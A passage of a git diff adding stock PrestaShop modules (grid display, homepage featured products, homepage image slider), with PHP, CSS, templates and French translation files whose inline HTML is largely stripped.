b/modules/graphxmlswfcharts/xml_swf_charts/charts_library/lnno.swf new file mode 100755 index 0000000..65cf955 Binary files /dev/null and b/modules/graphxmlswfcharts/xml_swf_charts/charts_library/lnno.swf differ diff --git a/modules/graphxmlswfcharts/xml_swf_charts/charts_library/mxno.swf b/modules/graphxmlswfcharts/xml_swf_charts/charts_library/mxno.swf new file mode 100755 index 0000000..82500fb Binary files /dev/null and b/modules/graphxmlswfcharts/xml_swf_charts/charts_library/mxno.swf differ diff --git a/modules/graphxmlswfcharts/xml_swf_charts/charts_library/pi3d.swf b/modules/graphxmlswfcharts/xml_swf_charts/charts_library/pi3d.swf new file mode 100755 index 0000000..7a4c117 Binary files /dev/null and b/modules/graphxmlswfcharts/xml_swf_charts/charts_library/pi3d.swf differ diff --git a/modules/graphxmlswfcharts/xml_swf_charts/charts_library/piim.swf b/modules/graphxmlswfcharts/xml_swf_charts/charts_library/piim.swf new file mode 100755 index 0000000..e232d17 Binary files /dev/null and b/modules/graphxmlswfcharts/xml_swf_charts/charts_library/piim.swf differ diff --git a/modules/graphxmlswfcharts/xml_swf_charts/charts_library/pino.swf b/modules/graphxmlswfcharts/xml_swf_charts/charts_library/pino.swf new file mode 100755 index 0000000..94fbcdc Binary files /dev/null and b/modules/graphxmlswfcharts/xml_swf_charts/charts_library/pino.swf differ diff --git a/modules/graphxmlswfcharts/xml_swf_charts/charts_library/pono.swf b/modules/graphxmlswfcharts/xml_swf_charts/charts_library/pono.swf new file mode 100755 index 0000000..7f872a9 Binary files /dev/null and b/modules/graphxmlswfcharts/xml_swf_charts/charts_library/pono.swf differ diff --git a/modules/graphxmlswfcharts/xml_swf_charts/charts_library/scno.swf b/modules/graphxmlswfcharts/xml_swf_charts/charts_library/scno.swf new file mode 100755 index 0000000..f8d22a4 Binary files /dev/null and b/modules/graphxmlswfcharts/xml_swf_charts/charts_library/scno.swf differ diff --git a/modules/graphxmlswfcharts/xml_swf_charts/index.php b/modules/graphxmlswfcharts/xml_swf_charts/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphxmlswfcharts/xml_swf_charts/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/gridhtml/gridhtml.php b/modules/gridhtml/gridhtml.php new file mode 100755 index 0000000..f4d4e73 --- /dev/null +++ b/modules/gridhtml/gridhtml.php @@ -0,0 +1,189 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class GridHtml extends ModuleGridEngine +{ + private $_values; + private static $_columns; + + function __construct($type = null) + { + if ($type != null) + parent::__construct($type); + else + { + $this->name = 'gridhtml'; + $this->tab = 'administration'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + Module::__construct(); + + $this->displayName = $this->l('Simple HTML table display.'); + $this->description = ''; + } + } + + function install() + { + return (parent::install() AND $this->registerHook('GridEngine')); + } + + public static function hookGridEngine($params, $grider) + { + self::$_columns = $params['columns']; + if (!isset($params['emptyMsg'])) + $params['emptyMsg'] = 'Empty'; + + $html = '
        + '; + foreach ($params['columns'] as $column) + $html .= ''; + $html .= ' + + +
        + '.$column['header'].'
        + + + + + + +
        +
        + '; + return $html; + } + + public function setColumnsInfos(&$infos) + { + } + + public function setValues($values) + { + $this->_values = $values; + } + + public function setTitle($title) + { + $this->_title = $title; + } + + public function setSize($width, $height) + { + $this->_width = $width; + $this->_height = $height; + } + + public function setTotalCount($totalCount) + { + $this->_totalCount = $totalCount; + } + + public function setLimit($start, $limit) + { + $this->_start = (int)$start; + $this->_limit = (int)$limit; + } + + public function render() + { + echo Tools::jsonEncode(array( + 'total' => $this->_totalCount, + 'from' => min($this->_start + 1, $this->_totalCount), + 'to' => min($this->_start + $this->_limit, $this->_totalCount), + 'values' => $this->_values + )); + } +} + diff --git a/modules/gridhtml/index.php b/modules/gridhtml/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/gridhtml/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/gridhtml/logo.gif b/modules/gridhtml/logo.gif new file mode 100755 index 0000000..e9b9215 Binary files /dev/null and b/modules/gridhtml/logo.gif differ diff --git a/modules/gridhtml/logo.png b/modules/gridhtml/logo.png new file mode 100755 index 0000000..0d1e11a Binary files /dev/null and b/modules/gridhtml/logo.png differ diff --git a/modules/gridhtml/translations/en.php b/modules/gridhtml/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/gridhtml/translations/fr.php b/modules/gridhtml/translations/fr.php new file mode 100755 index 0000000..e235987 --- /dev/null +++ b/modules/gridhtml/translations/fr.php @@ -0,0 +1,6 @@ +gridhtml_0429f31fd7dc2342b9b0f63d63c1e21d'] = 'Affichage HTML simple'; diff --git a/modules/gridhtml/translations/index.php b/modules/gridhtml/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/gridhtml/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/homefeatured/homefeatured.css b/modules/homefeatured/homefeatured.css new file mode 100755 index 0000000..21425c3 --- /dev/null +++ b/modules/homefeatured/homefeatured.css @@ -0,0 +1,65 @@ +#featured-products_block_center li { + margin-right:10px; + padding:10px 0; + width:126px; + height:240px +} +#featured-products_block_center li.last_item_of_line {margin-right:0;} +#featured-products_block_center .s_title_block, #featured-products_block_center h5 { + padding-top:5px; + height:30px; + font-size:12px; + color:#222; + padding-bottom: 0; + font-weight:bold; +} + +#featured-products_block_center .product_image { + display:block; + position:relative; + overflow:hidden +} +#featured-products_block_center .product_image span.new { + display: block; + position: absolute; + top: 15px; + right:-30px; + padding: 1px 4px; + width: 101px; + font-size:10px; + color: #fff; + text-align: center; + text-transform: uppercase; + -moz-transform: rotate(45deg); + -webkit-transform: rotate(45deg); + -o-transform:rotate(45deg); + -ms-transform: rotate(45deg); + background-color: #990000; + transform: rotate(45deg); /* Newer browsers */ +} + +#featured-products_block_center .product_desc {height:45px;} +#featured-products_block_center .product_desc, +#featured-products_block_center .product_desc a { + color:#666 +} +#featured-products_block_center .lnk_more { + display:inline; + padding-right:10px; + font-weight:bold; + font-size:10px; + color:#0088cc; + background:url(img/arrow_right_1.png) no-repeat 100% 3px; +} +#featured-products_block_center .price_container { + margin-top:10px; + padding:0; +} +#featured-products_block_center .price { + font-weight:bold; + font-size:14px; + color:#990000 +} +#featured-products_block_center li .ajax_add_to_cart_button {display:none;} +#featured-products_block_center li span.exclusive {display:none;} + diff --git a/modules/homefeatured/homefeatured.php b/modules/homefeatured/homefeatured.php new file mode 100755 index 0000000..4567adf --- /dev/null +++ b/modules/homefeatured/homefeatured.php @@ -0,0 +1,116 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class HomeFeatured extends Module +{ + private $_html = ''; + private $_postErrors = array(); + + function __construct() + { + $this->name = 'homefeatured'; + $this->tab = 'front_office_features'; + $this->version = '0.9'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Featured products on the homepage.'); + $this->description = $this->l('Displays featured products in the middle of your homepage.'); + } + + function install() + { + if (!Configuration::updateValue('HOME_FEATURED_NBR', 8) || !parent::install() || !$this->registerHook('displayHome') || !$this->registerHook('header')) + return false; + return true; + } + + public function getContent() + { + $output = '

        '.$this->displayName.'

        '; + if (Tools::isSubmit('submitHomeFeatured')) + { + $nbr = (int)(Tools::getValue('nbr')); + if (!$nbr OR $nbr <= 0 OR !Validate::isInt($nbr)) + $errors[] = $this->l('An invalid number of products has been specified.'); + else + Configuration::updateValue('HOME_FEATURED_NBR', (int)($nbr)); + if (isset($errors) AND sizeof($errors)) + $output .= $this->displayError(implode('
        ', $errors)); + else + $output .= $this->displayConfirmation($this->l('Your settings have been updated.')); + } + return $output.$this->displayForm(); + } + + public function displayForm() + { + $output = ' +
        +
        '.$this->l('Settings').' +

        '.$this->l('To add products to your homepage, simply add them to the "home" category.').'


        + +
        + +

        '.$this->l('Define the number of products that you would like to display on homepage (default: 8).').'

        + +
        +
        +
        +
        '; + return $output; + } + + public function hookDisplayHeader($params) + { + $this->hookHeader($params); + } + + public function hookHeader($params) + { + $this->context->controller->addCSS(($this->_path).'homefeatured.css', 'all'); + } + + public function hookDisplayHome($params) + { + $category = new Category(Context::getContext()->shop->getCategory(), (int)Context::getContext()->language->id); + $nb = (int)(Configuration::get('HOME_FEATURED_NBR')); + $products = $category->getProducts((int)Context::getContext()->language->id, 1, ($nb ? $nb : 10)); + + $this->smarty->assign(array( + 'products' => $products, + 'add_prod_display' => Configuration::get('PS_ATTRIBUTE_CATEGORY_DISPLAY'), + 'homeSize' => Image::getSize(ImageType::getFormatedName('home')), + )); + + return $this->display(__FILE__, 'homefeatured.tpl'); + } +} diff --git a/modules/homefeatured/homefeatured.tpl b/modules/homefeatured/homefeatured.tpl new file mode 100755 index 0000000..f8d48ee --- /dev/null +++ b/modules/homefeatured/homefeatured.tpl @@ -0,0 +1,66 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + diff --git a/modules/homefeatured/img/arrow_right_1.png b/modules/homefeatured/img/arrow_right_1.png new file mode 100755 index 0000000..7c3d29b Binary files /dev/null and b/modules/homefeatured/img/arrow_right_1.png differ diff --git a/modules/homefeatured/img/index.php b/modules/homefeatured/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/homefeatured/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/homefeatured/index.php b/modules/homefeatured/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/homefeatured/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/homefeatured/logo.gif b/modules/homefeatured/logo.gif new file mode 100755 index 0000000..d884782 Binary files /dev/null and b/modules/homefeatured/logo.gif differ diff --git a/modules/homefeatured/logo.png b/modules/homefeatured/logo.png new file mode 100755 index 0000000..382ab1d Binary files /dev/null and b/modules/homefeatured/logo.png differ diff --git a/modules/homefeatured/translations/fr.php b/modules/homefeatured/translations/fr.php new file mode 100755 index 0000000..83c049f --- /dev/null +++ b/modules/homefeatured/translations/fr.php @@ -0,0 +1,20 @@ +homefeatured_dcf3f48ad88dabefc99b82013c4443de'] = 'Produits phares sur la page d\'accueil'; +$_MODULE['<{homefeatured}prestashop>homefeatured_33d0c6fa8dcda0ea168f8ef69556acfe'] = 'Affiche les produits phares au centre de votre page d\'accueil'; +$_MODULE['<{homefeatured}prestashop>homefeatured_8f31eb2413dea86c661532d4cf973d2f'] = 'Nombre non valable de produit'; +$_MODULE['<{homefeatured}prestashop>homefeatured_6af91e35dff67a43ace060d1d57d5d1a'] = 'Paramètres mis à jour'; +$_MODULE['<{homefeatured}prestashop>homefeatured_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{homefeatured}prestashop>homefeatured_4cad5369b27bff0ba256a479a575eb6f'] = 'Pour ajouter des produits à votre page d\'accueil, ajoutez-les simplement à la catégorie \"Accueil\" du catalogue.'; +$_MODULE['<{homefeatured}prestashop>homefeatured_87ae431d2f8285c91660bd00d330a257'] = 'Nombre de produits à afficher.'; +$_MODULE['<{homefeatured}prestashop>homefeatured_b263d5a770ca788195f4038d1a0ea6fc'] = 'Définissez le nombre de produits que vous souhaitez afficher sur la page d\'accueil (valeur par défaut : 8).'; +$_MODULE['<{homefeatured}prestashop>homefeatured_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{homefeatured}prestashop>homefeatured_ca7d973c26c57b69e0857e7a0332d545'] = 'Produits phares'; +$_MODULE['<{homefeatured}prestashop>homefeatured_03c2e7e41ffc181a4e84080b4710e81e'] = 'Nouveau'; +$_MODULE['<{homefeatured}prestashop>homefeatured_d3da97e2d9aee5c8fbe03156ad051c99'] = 'Plus d\'infos'; +$_MODULE['<{homefeatured}prestashop>homefeatured_4351cfebe4b61d8aa5efa1d020710005'] = 'Plus d\'infos'; +$_MODULE['<{homefeatured}prestashop>homefeatured_2d0f6b8300be19cf35e89e66f0677f95'] = 'Ajouter au panier'; +$_MODULE['<{homefeatured}prestashop>homefeatured_e0e572ae0d8489f8bf969e93d469e89c'] = 'Aucun produit phare'; diff --git a/modules/homefeatured/translations/index.php b/modules/homefeatured/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/homefeatured/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/homeslider/HomeSlide.php b/modules/homeslider/HomeSlide.php new file mode 100755 index 0000000..163ac22 --- /dev/null +++ b/modules/homeslider/HomeSlide.php @@ -0,0 +1,133 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class HomeSlide extends ObjectModel +{ + public $title; + public $subtitle; + public $description; + public $url; + public $legend; + public $image; + public $active; + public $position; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'homeslider_slides', + 'primary' => 'id_homeslider_slides', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + + // Lang fields + 'description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString', 'size' => 4000), + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'subtitle' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + 'legend' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'url' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isUrl', 'required' => true, 'size' => 255), + 'image' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + ) + ); + + public function __construct($id_slide = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_slide, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + $res &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'homeslider` (`id_shop`, `id_homeslider_slides`) + VALUES('.(int)$id_shop.', '.(int)$this->id.')' + ); + return $res; + } + + public function delete() + { + $res = true; + + $images = $this->image; + foreach ($images as $image) + { + if (preg_match('/sample/', $image) === 0) + if ($image && file_exists(dirname(__FILE__).'/images/'.$image)) + $res &= @unlink(dirname(__FILE__).'/images/'.$image); + } + + $res &= $this->reOrderPositions(); + + $res &= Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'homeslider` + WHERE `id_homeslider_slides` = '.(int)$this->id + ); + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + $id_slide = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'homeslider_slides` hss, `'._DB_PREFIX_.'homeslider` hs + WHERE hss.`id_homeslider_slides` = hs.`id_homeslider_slides` AND hs.`id_shop` = '.(int)$id_shop + ); + + if ((int)$max == (int)$id_slide) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id_homeslider_slides` as id_slide + FROM `'._DB_PREFIX_.'homeslider_slides` hss + LEFT JOIN `'._DB_PREFIX_.'homeslider` hs ON (hss.`id_homeslider_slides` = hs.`id_homeslider_slides`) + WHERE hs.`id_shop` = '.(int)$id_shop.' AND hss.`position` > '.(int)$this->position + ); + + foreach ($rows as $row) + { + $current_slide = new HomeSlide($row['id_slide']); + --$current_slide->position; + $current_slide->update(); + unset($current_slide); + } + + return true; + } + +} diff --git a/modules/homeslider/ajax_homeslider.php b/modules/homeslider/ajax_homeslider.php new file mode 100755 index 0000000..00f9946 --- /dev/null +++ b/modules/homeslider/ajax_homeslider.php @@ -0,0 +1,53 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include_once('../../config/config.inc.php'); +include_once('../../init.php'); +include_once('homeslider.php'); + +$context = Context::getContext(); +$home_slider = new HomeSlider(); +$slides = array(); + +if (!Tools::isSubmit('secure_key') || Tools::getValue('secure_key') != $home_slider->secure_key || !Tools::getValue('action')) + die(1); + +if (Tools::getValue('action') == 'updateSlidesPosition' && Tools::getValue('slides')) +{ + + $slides = Tools::getValue('slides'); + + foreach ($slides as $position => $id_slide) + { + $res = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'homeslider_slides` SET `position` = '.(int)$position.' + WHERE `id_homeslider_slides` = '.(int)$id_slide + ); + + } + + $home_slider->clearCache(); +} + diff --git a/modules/homeslider/bx_styles.css b/modules/homeslider/bx_styles.css new file mode 100755 index 0000000..0b80c9a --- /dev/null +++ b/modules/homeslider/bx_styles.css @@ -0,0 +1,103 @@ +/* @override http://localhost/bxslider_v3_plugin/css/styles.css */ + +/* + * To change the color scheme of slider change each + * background property for each of the five styles below + */ + +.bx-window {margin-bottom:20px;} +.bx-wrapper { + margin-bottom:20px; + height:300px +} + +/*next button*/ +.bx-next { + display:block; + float:left; + position:absolute; + top:0; + right:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_next.png) no-repeat center center; +} + +/*previous button*/ + +.bx-prev { + display:block; + float:left; + position:absolute; + top:0; + left:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_prev.png) no-repeat center center; +} + +/*pager links*/ +.bx-pager { + position: absolute; + bottom: 20px; + bottom:40px !ie;/* hack ie7 */ + right: 15px; + padding-top: 7px; + font-size:11px; + color:#666; + text-align:center; +} +.bx-pager a { + display:inline-block; + zoom:1; + margin-right: 5px; + padding:4px 0 0 1px; + height:16px;/* 19 */ + width:18px;/* 19 */ + font-weight:bold; + font-size: 11px; + color:#000; + text-decoration:none; + background:url(gray_pager.png) no-repeat 0 -20px; +} + +/* + * End color scheme styles + */ + + +/*next/prev button hover state*/ +.bx-next:hover, +.bx-prev:hover { +} + +/*pager links hover and active states*/ +.bx-pager .pager-active, +.bx-pager a:hover { + color:#fff; + text-decoration:none; + background-position: 0 0; +} + +/*captions*/ +.bx-captions { + text-align:center; + font-size: 12px; + padding: 7px 0; + color: #666; +} + +/*auto controls*/ +.bx-auto { + text-align: center; + padding-top: 15px; +} + +.bx-auto a { + color: #666; + font-size: 12px; +} diff --git a/modules/homeslider/gray_next.png b/modules/homeslider/gray_next.png new file mode 100755 index 0000000..0f627e7 Binary files /dev/null and b/modules/homeslider/gray_next.png differ diff --git a/modules/homeslider/gray_next0.png b/modules/homeslider/gray_next0.png new file mode 100755 index 0000000..f7e93ee Binary files /dev/null and b/modules/homeslider/gray_next0.png differ diff --git a/modules/homeslider/gray_pager.png b/modules/homeslider/gray_pager.png new file mode 100755 index 0000000..f4780d2 Binary files /dev/null and b/modules/homeslider/gray_pager.png differ diff --git a/modules/homeslider/gray_prev.png b/modules/homeslider/gray_prev.png new file mode 100755 index 0000000..a7bfa9a Binary files /dev/null and b/modules/homeslider/gray_prev.png differ diff --git a/modules/homeslider/gray_prev0.png b/modules/homeslider/gray_prev0.png new file mode 100755 index 0000000..6091650 Binary files /dev/null and b/modules/homeslider/gray_prev0.png differ diff --git a/modules/homeslider/homeslider.php b/modules/homeslider/homeslider.php new file mode 100755 index 0000000..f7e3b3d --- /dev/null +++ b/modules/homeslider/homeslider.php @@ -0,0 +1,802 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + * @version 1.2 (2012-03-14) + */ + +if (!defined('_PS_VERSION_')) + exit; + +include_once(_PS_MODULE_DIR_.'homeslider/HomeSlide.php'); + +class HomeSlider extends Module +{ + private $_html = ''; + + public function __construct() + { + $this->name = 'homeslider'; + $this->tab = 'front_office_features'; + $this->version = '1.2.1'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + $this->secure_key = Tools::encrypt($this->name); + + parent::__construct(); + + $this->displayName = $this->l('Image slider for your homepage.'); + $this->description = $this->l('Adds an image slider to your homepage.'); + } + + /** + * @see Module::install() + */ + public function install() + { + /* Adds Module */ + if (parent::install() && $this->registerHook('displayHome') && $this->registerHook('actionShopDataDuplication')) + { + /* Sets up configuration */ + $res = Configuration::updateValue('HOMESLIDER_WIDTH', '535'); + $res &= Configuration::updateValue('HOMESLIDER_HEIGHT', '300'); + $res &= Configuration::updateValue('HOMESLIDER_SPEED', '500'); + $res &= Configuration::updateValue('HOMESLIDER_PAUSE', '3000'); + $res &= Configuration::updateValue('HOMESLIDER_LOOP', '1'); + /* Creates tables */ + $res &= $this->createTables(); + + /* Adds samples */ + if ($res) + $this->installSamples(); + + return $res; + } + return false; + } + + /** + * Adds samples + */ + private function installSamples() + { + $languages = Language::getLanguages(false); + for ($i = 1; $i <= 5; ++$i) + { + $slide = new HomeSlide(); + $slide->position = $i; + $slide->active = 1; + foreach ($languages as $language) + { + $slide->title[$language['id_lang']] = 'Sample '.$i; + $slide->subtitle[$language['id_lang']] = 'Sous titre '.$i; + $slide->description[$language['id_lang']] = 'This is a sample picture'; + $slide->legend[$language['id_lang']] = 'sample-'.$i; + $slide->url[$language['id_lang']] = 'http://www.prestashop.com'; + $slide->image[$language['id_lang']] = 'sample-'.$i.'.jpg'; + } + $slide->add(); + } + } + + /** + * @see Module::uninstall() + */ + public function uninstall() + { + /* Deletes Module */ + if (parent::uninstall()) + { + /* Deletes tables */ + $res = $this->deleteTables(); + /* Unsets configuration */ + $res &= Configuration::deleteByName('HOMESLIDER_WIDTH'); + $res &= Configuration::deleteByName('HOMESLIDER_HEIGHT'); + $res &= Configuration::deleteByName('HOMESLIDER_SPEED'); + $res &= Configuration::deleteByName('HOMESLIDER_PAUSE'); + $res &= Configuration::deleteByName('HOMESLIDER_LOOP'); + return $res; + } + return false; + } + + /** + * Creates tables + */ + protected function createTables() + { + /* Slides */ + $res = (bool)Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'homeslider` ( + `id_homeslider_slides` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_homeslider_slides`, `id_shop`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* Slides configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'homeslider_slides` ( + `id_homeslider_slides` int(10) unsigned NOT NULL AUTO_INCREMENT, + `position` int(10) unsigned NOT NULL DEFAULT \'0\', + `active` tinyint(1) unsigned NOT NULL DEFAULT \'0\', + PRIMARY KEY (`id_homeslider_slides`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* Slides lang configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'homeslider_slides_lang` ( + `id_homeslider_slides` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + `title` varchar(255) NOT NULL, + `subtitle` varchar(255) NOT NULL, + `description` text NOT NULL, + `legend` varchar(255) NOT NULL, + `url` varchar(255) NOT NULL, + `image` varchar(255) NOT NULL, + PRIMARY KEY (`id_homeslider_slides`,`id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + return $res; + } + + /** + * deletes tables + */ + protected function deleteTables() + { + $slides = $this->getSlides(); + foreach ($slides as $slide) + { + $to_del = new HomeSlide($slide['id_slide']); + $to_del->delete(); + } + return Db::getInstance()->execute(' + DROP TABLE IF EXISTS `'._DB_PREFIX_.'homeslider`, `'._DB_PREFIX_.'homeslider_slides`, `'._DB_PREFIX_.'homeslider_slides_lang`; + '); + } + + public function getContent() + { + $this->_html .= $this->headerHTML(); + $this->_html .= '

        '.$this->displayName.'.

        '; + + /* Validate & process */ + if (Tools::isSubmit('submitSlide') || Tools::isSubmit('delete_id_slide') || + Tools::isSubmit('submitSlider') || + Tools::isSubmit('changeStatus')) + { + if ($this->_postValidation()) + $this->_postProcess(); + $this->_displayForm(); + } + elseif (Tools::isSubmit('addSlide') || (Tools::isSubmit('id_slide') && $this->slideExists((int)Tools::getValue('id_slide')))) + $this->_displayAddForm(); + else + $this->_displayForm(); + + return $this->_html; + } + + private function _displayForm() + { + /* Gets Slides */ + $slides = $this->getSlides(); + + /* Begin fieldset slider */ + $this->_html .= ' +
        + '.$this->l('Slider configuration').''; + /* Begin form */ + $this->_html .= '
        '; + /* Height field */ + $this->_html .= ' + +
        + px +
        '; + /* Width field */ + $this->_html .= ' + +
        + px +
        '; + /* Speed field */ + $this->_html .= ' + +
        + ms +
        '; + /* Pause field */ + $this->_html .= ' + +
        + ms +
        '; + /* Loop field */ + $this->_html .= ' + +
        + Yes + + + No + + +
        '; + /* Save */ + $this->_html .= ' +
        + +
        '; + /* End form */ + $this->_html .= '
        '; + /* End fieldset slider */ + $this->_html .= '
        '; + + $this->_html .= '

        '; + + /* Begin fieldset slides */ + $this->_html .= ' +
        + '.$this->l('Slides configuration').' + + + '.$this->l('Add Slide').' + + '; + + /* Display notice if there are no slides yet */ + if (!$slides) + $this->_html .= '

        '.$this->l('You have not yet added any slides.').'

        '; + else /* Display slides */ + { + $this->_html .= ' +
        +
          '; + + foreach ($slides as $slide) + { + $this->_html .= ' +
        • + #'.$slide['id_slide'].' '.$slide['title'].' +

